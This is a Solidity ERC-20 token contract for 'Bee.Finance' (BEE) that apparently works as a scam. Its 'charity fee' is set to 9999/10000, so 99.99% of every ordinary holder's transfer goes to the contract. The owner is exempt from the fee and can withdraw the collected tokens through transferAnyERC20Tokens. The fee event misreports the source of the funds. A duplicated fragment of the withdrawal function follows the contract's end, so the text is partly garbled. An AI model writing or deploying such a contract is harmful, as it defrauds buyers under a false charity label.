contract Bee_Finance is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Bee.Finance";
    string private _symbol = "BEE";
    uint8 private _decimals = 18;
    
    mapping(address => uint256) internal _tokenBalance;
    mapping(address => mapping(address => uint256)) internal _allowances;
    
    uint256 internal _tokenTotal = 5000000 *10**18;
    
    mapping(address => bool) isExcludedFromFee;
    
    uint256 public _charityFee = 9999;
    
    address public charityAddress = address(this);

    constructor() {
        
        isExcludedFromFee[_msgSender()] = true;
        isExcludedFromFee[address(this)] = true;
        
        _tokenBalance[_msgSender()] = _tokenTotal;
        emit Transfer(address(0), _msgSender(), _tokenTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public override view returns (uint256) {
        return _tokenTotal;
    }

    function balanceOf(address account) public override view returns (uint256) {
        return _tokenBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override virtual returns (bool) {
       _transfer(_msgSender(),recipient,amount);
        return true;
    }

    function allowance(address owner, address spender) public override view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override virtual returns (bool) {
        _transfer(sender,recipient,amount);
               
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub( amount,"ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        uint256 transferAmount = amount;
        uint256 charityFee = amount.mul(_charityFee).div(10000);

        if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            //@dev charity fee
            if(_charityFee != 0) {
                transferAmount = transferAmount.sub(charityFee);
                _tokenBalance[charityAddress] = _tokenBalance[charityAddress].add(charityFee);
                emit Transfer(recipient, charityAddress, charityFee);
            }
        }
        
        _tokenBalance[sender] = _tokenBalance[sender].sub(amount);
        _tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);

        emit Transfer(sender, recipient, transferAmount);
    }
    
    // function to allow admin to transfer ERC20 tokens from this contract
    function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
        Token(_tokenAddress).transfer(_to, _amount);
    }
}
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
    Token(_tokenAddress).transfer(_to, _amount);
}

// function to allow admin to transfer ERC20 tokens from this contract